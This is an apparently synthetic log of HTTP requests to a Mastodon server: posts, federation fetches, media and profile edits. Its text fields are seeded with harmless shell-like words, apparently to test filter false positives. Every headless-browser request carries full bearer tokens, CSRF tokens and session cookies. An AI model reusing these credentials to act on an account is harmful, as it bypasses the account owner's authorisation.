{"method": "POST", "target": "/api/v1/statuses", "headers": ["Host: example.com", "Content-Length: 186", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded", "Idempotency-Key: 6f1c2b0e9d8a4c3b"], "body": "status=Today+I+learned%3A+%60ls+-la+~%2F.config%60+lists+hidden+files%2C+and+%60python3+-m+http.server%60+serves+a+folder.+https%3A%2F%2Fexample.org%2Fnotes&visibility=public&language=en"}
{"method": "GET", "target": "/@admin/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"dKQrZ6jG4+YkuO5qmP9Wdnf48/1ZZYYIHtH6zH7OeVb+O3SKJ9e80S0Fd1Y4rvapQ/YGVJQJHFfX026o/esvwpPM3ai0NWe3OzCZKDx7oDw8dko2JR2qwmKsjZF13HMu8EVTR4FyQ6bs77EVSefEUV54YsVw5zqcY3gb9QFmXCZ3uzJWp2UoCkhNlS9cN0JA9M8LzTtcGhD39aOVaUE0/aR7HYI19Vxa6BE/zS8lNdzhNSdaBcPHwPasrRw21CkvPf2Ols3o9EshfhnnW+OLvXDJMG7ERvt7Ygrk64rAKy33EkgSDVruDM/o6oKLkgjd6HA/pEMlcvNeSa2IccRxHw==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/statuses/117589811962372311", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"JJBWzFWKAajFgcdkCWTwq09jTa5iyYc/IC1cHlxTLf74x6TKaVicg8IYOOHdouCDzq/CcegBlPf2+gZkWAQWr7FG14PHYIDyRIJzXW58/0qm3GxUp/n4Er98EEYO5Qhp10VYi3OYKnqj08v9Ni0xBQaABtWBignvzpz25QCTDxs9E0LuT+hEUqWshbKNWevGa3yOHHn2tXaYdjEenBBwqZ/6g/DICEdow2zfZUrUjjvfTElPmm88vpU+tyjFrf/Ad7Bg7RJfSiBTpAJurZJMcoB9fPCbZmWt3K4kbZkKFJXOsaahVQpVr8ymoGltePmCcsGlFcOEz8R97GIAIDnhAA==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:37 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"LaaPjuzwQwcEWyGCPWbY9D5Tlz8XnlGtrMNqNCPTLyfZLDQaGkC0pHRJyOAbZ3FtfNzMzMZFhI+4kqPnowFPnmM786caaLZg7D98tk8t4hJ4N++cL2+Cs8BrD1F8C6aj01Rh0tb7VR8H7JPkq732iutN0Kjauc9Cn3nuUS1u/dXtVvG5oVMhDBjhhxkceU7n2JKtKmdGvWpKvE8hG/jDI5iaiDOcminb9nYF1Tt/SkP2EyoKMXByFUgajxjCwGojKDixP6cTwRfpPVnFqRSY6lmBTv7B1aSXVdrKzHo7sdcrviPPD4BGDQtd9bFGVLlcFt3VfMxXRcljhAomSUJ+Jw==\""], "body": ""}
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:admin@example.com", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/jrd+json, application/json", "Connection: close"], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RxsP8J109UjnYQVH+A1UT6GdTmBMSUzKUkggbkNcCN8ELuiQT6OnHyQrtk3I1l+6A+zp8h631URDanT90ADKxheG18/soZAaL3ySwLPOtQuOYWtS3FMNINvuMuJAvh5xiC0N3140DsR+h3XAZa6soxqX5nn4bpGHY46LwBo6GnxXGxdOd+xAuDh6OZ/e8vt/Vhwzw1wox7kFUAibo8qGD3eu6hy6aPMW/jWR35UYidmBwlJNuGfof1RZcMlAeBQ+1EbZhDvczU2+OJVXsxv5icgHyqxThKZlNeE9eet+j6btq6deuXtCuHJBleGFk8EjUCwzEn6oyOJFh7KMs0PexA==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"K/U4vf1XHZJCbRedVX+/hx3kmkuvWPdInYTCSGv0c5bxJjlb9Xb6JAPgcfxQZ6bfgrWYIw935SVBBW3H/T4V+NCAfN5Trn8j6lfZXTfhmOUYOOiL5bhV9wvYJ87YYolUPAISSi7tmpm8U5qYXI/EPNWf/3EUp2DokAtdqApWCaYa+rInXLOd9wXJe1NDsSzN/L/ajnJqnp3DYCVwJz+adLiwLlbFBH2KiVe1LYjN9aTWidKGlcdF8ktj8ZEYyvspm2TBvDSvCrQN2clwDZhPvBOl1ediGmAgQl35O5ZSJNJh/4NXZ8c6hHady2Mh6g35bn0qFdf5qA9X8+Gwh0YhXQ==\""], "body": ""}
{"method": "GET", "target": "/ap/users/117589807329949956/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:38 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MDNE5OLMqY6wMcUAYbRvyVbp8mwlgLnakWdHaZtB27TP1tNA7Prx4F1OmDWkU4orpGGyEI+B6HGhFZjZzsqbVq6mO8qQLZTtHwoqsbgAQcE8T1+DATZGaiMFrZ7Lx0ND0ecLVNttko4XOkzYVe4NvDO18aPDKEdmjXTBy50O8VqB7eTjs+6teFb/NOhW+ThlnAGtWjXnlXQfgUbSBFpig4SCk58rjl3e6pMvDIh2P0hu+SwfUIAJVfw7BXkcZI+4GmbQt0goPOUlyxrZHVO/0PcrXuMClZVombyK38fh1RCJ/uG8KcuwGuV0VEV73ixGzHHboEHl1FuyfSfWqMQ4hw==\""], "body": ""}
{"method": "GET", "target": "/@admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 02:35:39 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json, text/html;q=0.1", "Connection: close", "Signature: keyId=\"https://remote.example/actor#rsa-c2e37b90e002ae2e\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"FCt71nGVlVl+6AweeTPeDH9ZG8lCBJNntNeZx3hbPV+ATRNYFJotP6mdVmhfpHOt8XdZ4ucfyvgalNmrwBMWLRE9Qb5IFDT4mnmMmJVBrBmpN2yvrtz4xCvxLHqpojGQnBboJZzAC+gMu5dHKeNvbBnZmRc9773A+CAcdY/laDn/i1kfZGjAuD9EUoI38JAXoKr95gtGWnRNENKOh3X2sQvIhIhFrEbJq2nO6uMJVe9Jmo5pGCsQe+Q2lgm5uZg6o6M+fKWKD6ddzP+Yi9+WImgoPSWZ8/kcUhwVkhF0reOX3IQFs2J3VLQcmdTsGTougTfX+wwkOIG9v4Vy206MeQ==\""], "body": ""}
{"method": "PUT", "target": "/api/v1/media/117589824807968974", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 66", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 3ttC61ulg7A3ZGNI5eGttLra8QXUtXCV1hpEp9J764VwbYSsNnjJBIYIkRJ01GpYPf8e1HN2zL7RymZsTnzZbw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NDkuOTg2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9d772392075eeb29a62948fb860ec714d746270b; _mastodon_session=3l5QUeLWwQXRjJq9DuiWsEDx9NKG1Psl7NxHan%2BAmBP4j6qnt5NFFhEgNVvz%2BDncCq%2BspIp4AWE%2BgoY%2FnIujpWCehke2x%2FId1FzmxZrO1BAvK5%2BKVFOFIJoHUg%2FPizvshOOUVh5%2BUafxNOZBvFqtMiiVjx%2FsdVE%2Fh%2FHp4R0xUJPNZKJrh%2FMRHo2bmbcsNXDkENSNDjSzKMYil26nIavU6abTOwzh8qwSdNAUXox6qVDjN3F6HCQOSmM4F5qtzyyi446omUuMdIdObD%2FG8XvyhnM72SFe7FSDPoHh5u7NW7McKGKWJdeHsyosRftFCTlrjwlkIX9FcEuKOmfQEUEA7c0Eb4B42gZGjd2CzB2VFQl7SBdv%2B4LQSmVSQ1PSn8XPang%2BA8BpJm6H--WTmaRvSWNSoA9qzj--liGaw9d%2BNBC3zURO6bMCqA%3D%3D"], "body": "{\"description\":\"Blue water by the river path\",\"focus\":\"0.00,0.00\"}"}
{"method": "PUT", "target": "/api/v1/media/117589825440074314", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 93", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _IjtdHz8tspmJruPJ8DguLxhPIElIIu5r3UZgzgrxmZSPiszESH8ftdKSdW29SdUO0TTUILjN5KopTtIpCz0jA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6Mzg6NTkuNzQyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e23a2916fec60566bc8eb15a46cc013c906590b; _mastodon_session=qQpZIwTDBV%2FXseTu9y6TGi%2FHDgw8RR2xQsS9YNfIC0lqg0h3JTsMjnYx87bg72SmBVfMwVAfDwbDZgzKqfoqGrwvc4LPg9apI8yReq%2Fspe2VnHiDXTkEQZVih%2B%2FCqcC%2BmRA3z2LNZjhqlfwtjpSWaCUBRut16m0jsrSWe2t4knEahVMuyCPlla%2FmUTNXUvYYAEkdBpU9QpbzCIb2Ff0e9d7aUIQncK15RdyF4iakbYFZBxWnHhZLfA4%2FXvHKXiODhH%2BiVEIZaSYEUmDl0gM146n4zhedFY6uLq5U1qcQBmBtv2ZujYX8tIIj0ZutaYx8iWiM3QiAgCDTZ%2FW5YKPqIMvUZyXJEr6CVNP8p%2BtwFPfp7uTN2%2B4pkfhyqO3KOjF192LJc3OgYvZh--%2FevciV3WxDWRO58q--bYk178zbhmN4mK5XgBFS%2Fg%3D%3D"], "body": "{\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess\",\"focus\":\"0.00,0.00\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 368", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: _YqDs_Tbjh9yw9CyiAfo3LHWrRrY4OyUeBvWLqOviqpTPEX0mQbEq8OvIugZMi8wNvNCy38jUL9_y_TlP6i4QA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: a07839a3-1ef6-444d-914a-1fd1c0629042", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MDYuNjgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c80835c9a15965a3d04c37c548bac9d0a475bcfc; _mastodon_session=jqSqJlqKORi%2ByD0y5ESn1jCjinSx2F1RGJHccLjz1KF%2BDtqPhMDJ2othRP52NJdH0NnAj93F8Kr%2F7bwoPbHtBh7h7fXCdhbyGLbCqlTutcRGf6DEQSQX%2B57324snsJb03dTZAqRWAtOiAhRuAmgBfSk2zhqM6spvXhMyahL5G9%2BvxfbMgRl7SyAh9EJhJBmnnPAZFxeRqRgzyTTVktwdXpGOECcdCYOTYFJyteQL1vHE0OG%2BqD7Rmkg8H0Ew6HNctTdASUN4j7TnjGoq6j9YE1inJa6lZCGRlCaANg55TPn%2BjXaMOKT%2Fv8vDu0AAc4%2FYxUuT5nyIuAK7bjeIixN6QQEyE%2BSd%2BwXRnOaOMFRFvgC%2B4TFHWNgc5onFcGNFuhpRx5MwWvsGRWnH--4bwF9JxIR6vVhbSD--Yig5cMpE3oSX4OCxz%2Fq%2BAw%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"Blue water and a bench by the river path\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 397", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FE5HabawXASV0r3pAxGeiNLN_FfgOzCJm-REpERknoa6-IEu220WsCS-T7OSJFlkVegThkf4jKKcNGZv2GOsbA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: c780a300-cf41-4a69-867e-287d1aa70e85", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDA6MjAuMzc1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c8ee0be34472f71dc4f33a868dcadbf58c55f9f7; _mastodon_session=iSWXVmIA3FTehhjK%2BKJzmHrpNqBsKwrKFPOMpTqAFHHws2bKKEHPY7%2Bhy2IKgCOnez4tDquOUsu8yCMsUUbqScw4%2FBZvbJ69cK1yxUq%2Fv4rm4oRIUf3LN0KGGHE2xNF5U9lu4I2ai2lA7uRzEbIA5IXMh9LWMF6k1kzfCKlhU5BqTH4zQLG9u804Pw8JWQX%2Fc%2FUlb3ovK2%2F%2B4QwSSLEZVJNZac%2BH4GcS5tolv%2FMWKrIAYiWpf%2FgzGgSWWnsJNkBv4L28xjX3sJnH1YCrUP52xt1sqh3Hxb7rid681gMwPPWlARbgyYdm4t0fjW%2FRHNqPROKqVKOUIPAiAniFFvZaLNeiefTT3O9Qr3GF3UZJh%2BzubexAot7Q4PARtxHkN%2BmmjRh%2BQVRwwOJu--1I8VSjCtokg8v0Ww--UF7mevNWkWNDjpMB9m3r4w%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"Screenshot of python3, powershell, ls -la and .htaccess in a terminal\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 31", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jmE3dNyw4unCUqpQIGRgJGxLOhHx3OEXMHpx0bc3ow8g1_EzsW2oXXM-WAqxUafI627VwFYfXTw3qlMaKzCR5Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDI6MzIuODMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3659d037e9719730cc7eacd77d7717b6baa854e0; _mastodon_session=Fg3azK%2BEOmGIb%2F%2Bb2tW9NZt3h5GF5A%2BD%2BXlkdnWMU4RPMcpGJBb5Yev25KK0Wcp6daPt0GcfL3%2F4OG2teG9TXzxygiJqaETkPuACkbnlsFfPXP1ArpZgJKPOXAAR6kHx6kGsazAcD52rjC0E0qFQJoivoFr2DlJ14TxgJdR6pcQzgxEscUzQkJFxPYm89HfohAuoKW7fD6nYuFAattjQbDNf5TI0b0zvY0H5IshUpKfr1w%2Bz%2FnhSwhp4hRpZCFojyzjLtaf%2BFTcRZ4xWjLX%2FRPuN7KVGcMu71eE0nlWlwmpM9LyC62nwlI0bb3Ra89Fuq4FGOolgJbvwCsoceqtaEkRqU%2FnYTsV%2FQMv8AkEpsYuKhPlCnOtOkqTHGmDVUptDODb3cdbxpaJQ--hiAUz1gi4unXsSo7--Ke8Q3uyWfVDUvn5cGLrNoA%3D%3D"], "body": "{\"display_name\":\"River walker\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 54", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=2PtvQFlmi70yHD8eBF1TmGXy%2B12WouQBw%2BdqWKLEWbS35n3ufQFw5TitTkolcE4%2F68kqCRjzuhzCnU8ABd1WKrllplIuO%2BgsJb%2Bdv2Td8Nwl99r3F5FObQ6WTEtoNZy6QG0MzPt0mrfSskOZU5S3SUN3banedhFbXq4GRYhS%2B9NKoQPJnx%2FvHaVMcJ8QowAy%2FJw006GEMBjo9Ho%2Bj9qX2trXHs7dAgcucUng3YIST4W43OKKNa4sGoGOl%2FAcZo5hDrbiSszrZHXN78pSLA74EX9rKjEGFWGSGVkBjlRzt9eLIIqXaO3ey0ermut3J60J2GqFPngN7EFbZYizzrndLctqUAerTaD6snJWTfJhhm2oSBhT2yX8Zt9pvL4v6UZijS3cL7eaYZaC--kkph75d2xNxrVojG--y5t8RE%2BQEI%2BQCLINQpNGlA%3D%3D"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=9f0waBiozbOTg%2Bt90u1Ck7yN7joM1A73cMSprUpSDC8P86ioxYcFfH%2FnfYdIna%2FQ8nFyhdCu%2BxnhftMmO8%2B5ZZ3qfonxwhTTJdEQINenIvffpku7M%2FbRkctcN1fe2C6ienZev8VG1lRsyT9yFsy7HcPyLVuYHDv8idXxwvjDhm8DMZOC5Bi0e63srqrHlabieA3dI8K1ZmzanJ5GjvjTq1ZK%2FOZb9c9Vt9Ps2Yjr5iU1mxvqWNfb696HlO0Zz10pXqTElQsLjhZp0n3WYhFx4KP5R5SYvY3Z8RpRD7ku%2F%2BGIrQgRQjmbw%2Fp3tsPdvqUHM5EjQdEkLt92XRQb0CJpP9KMm2fkP5JppnxkPf4Gc8LUajUrFHIyJmpTqzgdn9N5gkc0MSvcq8hu--ZKb4jK6haTCB1SzQ--KmLHWyj21AsU85Zz9oJ3hQ%3D%3D"], "body": "{\"note\":\"I walk by the river and write about it.\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 62", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=hMrujBHwGDvqH6xgtVwn6IRUusHfoPcC%2FcPcAfogtvgyAgnV27bNxO6qVd%2BChudhNLHfvO7pdJuCdeAdW9xx2xwFkvL1qtNw8MgaXTieHYRn5QZfwuauaa%2Bu1%2BX9fFQ1m0695%2BHdUbZ4NuY6a3iNTnePSR5tQ0D1i4wSePgiayp0rGfb%2BWnWVmCiraGI%2FQlpK5FWIXqEBAtaXRpGwKKt%2BpNeWlqWjGoPm2Rknq%2F9DPFW%2Bn315utCdi8J%2BoQ036uoGQWag89vGuj1q5dy706u3SMVR%2FhZC0mz5dkCKwg%2Bs7A6btVVyx1BG1ofmFE%2FSsGLst9lvRhnLkn0eGZh8T1y%2BIhhSBgUgcHT6JwsE0oMeHTu7%2BrCKRhLbEyxPZOQABAtNWzJoOkwdXWG--RjY9GYDSuz3sbmWQ--eRbLvS9KtO1Ub6Z4vj8B9w%3D%3D"], "body": "{\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\"}"}
